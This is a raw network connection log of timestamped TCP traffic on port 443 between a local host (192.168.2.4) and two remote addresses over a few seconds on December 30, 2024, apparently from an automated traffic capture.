Dec 30, 2024 04:59:23.199731112 CET	443	49833	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:23.199789047 CET	49833	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:23.199944973 CET	49832	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:23.199960947 CET	443	49832	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:23.200187922 CET	49833	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:23.200198889 CET	443	49833	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:23.804779053 CET	443	49832	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:23.804928064 CET	49832	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:23.805855036 CET	443	49832	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:23.805919886 CET	49832	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:23.807740927 CET	443	49833	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:23.807837963 CET	49833	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:23.808495998 CET	49832	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:23.808501959 CET	443	49832	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:23.808839083 CET	443	49832	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:23.808895111 CET	49832	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:23.809451103 CET	443	49830	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:23.809741020 CET	49830	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:23.809994936 CET	443	49831	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:23.810162067 CET	49831	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:23.810658932 CET	443	49831	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:23.810756922 CET	49831	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:23.812478065 CET	49832	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:23.812980890 CET	49833	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:23.812988043 CET	443	49833	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:23.814733982 CET	49830	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:23.814734936 CET	49833	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:23.814739943 CET	443	49830	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:23.814740896 CET	443	49833	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:23.814966917 CET	49830	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:23.814975977 CET	443	49830	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:23.816390991 CET	49831	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:23.816401005 CET	443	49831	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:23.816628933 CET	443	49831	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:23.818727016 CET	49831	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:23.819061041 CET	49831	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:23.859318972 CET	443	49832	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:23.863336086 CET	443	49831	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:24.220026970 CET	443	49833	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:24.220074892 CET	443	49833	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:24.220093966 CET	49833	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.220103979 CET	443	49833	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:24.220133066 CET	49833	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.220180035 CET	443	49833	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:24.220308065 CET	49833	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.221052885 CET	49833	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.221060991 CET	443	49833	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:24.302833080 CET	443	49831	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:24.302979946 CET	49831	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.302989960 CET	443	49831	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:24.303076029 CET	49831	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.303076029 CET	49831	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.303105116 CET	443	49831	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:24.303204060 CET	443	49831	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:24.303270102 CET	49831	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.303270102 CET	49831	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.303745031 CET	49836	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.303757906 CET	443	49836	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:24.303756952 CET	49835	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.303858995 CET	443	49835	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:24.303889990 CET	49836	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.304071903 CET	49835	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.304177046 CET	49836	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.304186106 CET	443	49836	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:24.304224014 CET	49835	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.304261923 CET	443	49835	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:24.374454021 CET	443	49830	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:24.374490023 CET	443	49830	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:24.374516010 CET	49830	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.374521971 CET	443	49830	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:24.374653101 CET	49830	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.374722004 CET	443	49830	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:24.374752998 CET	443	49830	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:24.374778032 CET	49830	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.374957085 CET	49830	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.375334024 CET	49830	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.375334024 CET	49830	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.375341892 CET	443	49830	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:24.375925064 CET	49830	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.703794003 CET	443	49832	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:24.703864098 CET	49832	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.703877926 CET	443	49832	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:24.703927994 CET	49832	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.703934908 CET	443	49832	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:24.703952074 CET	443	49832	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:24.703974009 CET	49832	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.704000950 CET	49832	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.705076933 CET	49832	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.705085039 CET	443	49832	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:24.705560923 CET	49838	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.705574989 CET	443	49838	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:24.705615044 CET	49839	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.705630064 CET	443	49839	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:24.705646038 CET	49838	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.705684900 CET	49839	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.705869913 CET	49839	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.705881119 CET	443	49839	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:24.705940962 CET	49838	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.705950022 CET	443	49838	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:24.930844069 CET	443	49835	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:24.930916071 CET	49835	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.931248903 CET	443	49836	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:24.931303024 CET	49836	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.931708097 CET	443	49835	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:24.931761980 CET	49835	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.936605930 CET	49835	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.936630964 CET	443	49835	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:24.936939955 CET	443	49835	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:24.936999083 CET	49835	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.937258959 CET	49836	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.937263966 CET	443	49836	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:24.937463045 CET	49836	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:24.937468052 CET	443	49836	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:24.939538002 CET	49835	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:24.983344078 CET	443	49835	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:25.307038069 CET	443	49838	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:25.308846951 CET	49838	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.311880112 CET	49838	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.311885118 CET	443	49838	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:25.312038898 CET	49838	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.312042952 CET	443	49838	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:25.324342012 CET	443	49839	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:25.324430943 CET	49839	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:25.325437069 CET	443	49839	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:25.325504065 CET	49839	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:25.327204943 CET	49839	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:25.327212095 CET	443	49839	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:25.327589035 CET	443	49839	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:25.327646017 CET	49839	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:25.328063965 CET	49839	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:25.347675085 CET	443	49836	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:25.347718954 CET	443	49836	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:25.347755909 CET	49836	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.347762108 CET	443	49836	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:25.347773075 CET	49836	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.347807884 CET	443	49836	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:25.347815037 CET	49836	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.347879887 CET	49836	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.348587036 CET	49836	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.348594904 CET	443	49836	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:25.371331930 CET	443	49839	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:25.396802902 CET	443	49835	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:25.396878958 CET	443	49835	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:25.396946907 CET	49835	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:25.397073984 CET	49835	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:25.397102118 CET	443	49835	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:25.397603035 CET	49841	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:25.397628069 CET	443	49841	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:25.397733927 CET	49842	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.397761106 CET	443	49842	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:25.397762060 CET	49841	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:25.397814035 CET	49842	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.397977114 CET	49841	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:25.397985935 CET	443	49841	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:25.398107052 CET	49842	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.398119926 CET	443	49842	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:25.741528988 CET	443	49838	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:25.741589069 CET	443	49838	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:25.741601944 CET	49838	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.741625071 CET	443	49838	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:25.741640091 CET	49838	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.741672039 CET	49838	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.741677046 CET	443	49838	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:25.741740942 CET	443	49838	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:25.741754055 CET	49838	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.741797924 CET	49838	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.742326021 CET	49838	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.742336035 CET	443	49838	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:25.785384893 CET	443	49839	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:25.785450935 CET	49839	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:25.785473108 CET	443	49839	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:25.785485029 CET	443	49839	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:25.785543919 CET	49839	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:25.785615921 CET	49839	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:25.785628080 CET	443	49839	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:25.786132097 CET	49846	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.786144018 CET	49845	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:25.786178112 CET	443	49846	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:25.786183119 CET	443	49845	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:25.786415100 CET	49846	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.786623001 CET	49846	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:25.786639929 CET	443	49846	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:25.786644936 CET	49845	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:25.786644936 CET	49845	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:25.786695957 CET	443	49845	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:26.005108118 CET	443	49841	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:26.005171061 CET	49841	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.005726099 CET	49841	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.005731106 CET	443	49841	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:26.005917072 CET	49841	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.005920887 CET	443	49841	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:26.016897917 CET	443	49842	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:26.017405987 CET	49842	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:26.017690897 CET	49842	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:26.017695904 CET	443	49842	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:26.019398928 CET	49842	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:26.019403934 CET	443	49842	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:26.093889952 CET	49846	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:26.093911886 CET	49845	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.093934059 CET	49841	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.093947887 CET	49842	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:26.094989061 CET	49847	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.095031977 CET	443	49847	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:26.095278978 CET	49847	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.096066952 CET	49847	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.096091986 CET	443	49847	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:26.097017050 CET	49848	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.097047091 CET	443	49848	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:26.097197056 CET	49848	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.097379923 CET	49848	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.097394943 CET	443	49848	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:26.719105959 CET	443	49847	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:26.719183922 CET	49847	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.719758034 CET	443	49847	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:26.719831944 CET	49847	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.720196962 CET	443	49848	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:26.720274925 CET	49848	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.720843077 CET	443	49848	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:26.720916986 CET	49848	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.723470926 CET	49847	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.723495007 CET	443	49847	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:26.723768950 CET	443	49847	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:26.723813057 CET	49848	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.723826885 CET	443	49848	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:26.723829985 CET	49847	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.724026918 CET	443	49848	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:26.724107981 CET	49848	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.724206924 CET	49847	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.724395037 CET	49848	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:26.767332077 CET	443	49847	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:26.767338037 CET	443	49848	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.094053030 CET	443	49847	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.094121933 CET	49847	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.094142914 CET	443	49847	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.094217062 CET	49847	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.094293118 CET	49847	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.094337940 CET	443	49847	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.094435930 CET	443	49847	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.094551086 CET	49847	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.094571114 CET	49847	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.095004082 CET	49850	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:27.095026970 CET	443	49850	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:27.095093966 CET	49849	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.095115900 CET	443	49849	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.095119953 CET	49850	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:27.095166922 CET	49849	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.095391035 CET	49850	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:27.095401049 CET	443	49850	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:27.095407963 CET	49849	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.095417976 CET	443	49849	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.104135036 CET	443	49848	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.104193926 CET	49848	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.104217052 CET	443	49848	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.104259968 CET	49848	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.104301929 CET	49848	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.104345083 CET	443	49848	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.104428053 CET	49848	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.104782104 CET	49852	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:27.104823112 CET	443	49852	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:27.104970932 CET	49851	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.104983091 CET	443	49851	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.105043888 CET	49852	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:27.105241060 CET	49851	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.105241060 CET	49851	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.105257034 CET	443	49851	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.105320930 CET	49852	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:27.105343103 CET	443	49852	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:27.691217899 CET	443	49849	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.691284895 CET	49849	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.691869974 CET	443	49849	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.691910982 CET	49849	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.700629950 CET	443	49852	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:27.700684071 CET	49852	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:27.702606916 CET	443	49851	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.702666044 CET	49851	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.703238964 CET	443	49851	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.703283072 CET	49851	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.715202093 CET	49849	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.715212107 CET	443	49849	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.715401888 CET	443	49849	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.715442896 CET	49849	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.715524912 CET	443	49850	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:27.715574026 CET	49850	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:27.716197968 CET	49849	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.718638897 CET	49851	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.718647003 CET	443	49851	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.718938112 CET	443	49851	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.719006062 CET	49851	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.719316006 CET	49851	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:27.720407963 CET	49852	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:27.720424891 CET	443	49852	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:27.720614910 CET	443	49852	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:27.720658064 CET	49852	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:27.721570969 CET	49852	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:27.721973896 CET	49850	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:27.721981049 CET	443	49850	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:27.722176075 CET	443	49850	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:27.722224951 CET	49850	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:27.722614050 CET	49850	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:27.759329081 CET	443	49851	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.763329983 CET	443	49849	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:27.763343096 CET	443	49852	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:27.767329931 CET	443	49850	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.067698956 CET	443	49849	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.067756891 CET	49849	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.067836046 CET	49849	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.067862034 CET	443	49849	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.067912102 CET	49849	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.067975044 CET	49849	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.068209887 CET	443	49851	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.068258047 CET	49851	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.068263054 CET	443	49851	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.068312883 CET	49851	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.068470955 CET	49851	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.068507910 CET	443	49851	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.068525076 CET	49854	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.068548918 CET	49851	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.068557978 CET	443	49854	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.068567038 CET	49851	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.068617105 CET	49854	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.069017887 CET	49855	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.069072008 CET	443	49855	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.069238901 CET	49854	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.069250107 CET	443	49854	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.069263935 CET	49855	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.069516897 CET	49855	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:28.069531918 CET	443	49855	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:28.127561092 CET	443	49852	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.127600908 CET	443	49852	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.127607107 CET	49852	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.127624989 CET	443	49852	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.127648115 CET	49852	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.127670050 CET	49852	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.127676964 CET	443	49852	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.127686024 CET	443	49852	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.127713919 CET	49852	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.127734900 CET	49852	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.128324986 CET	49852	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:28.128338099 CET	443	49852	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:28.128810883 CET	49856	443	192.168.2.4	142.250.186.129
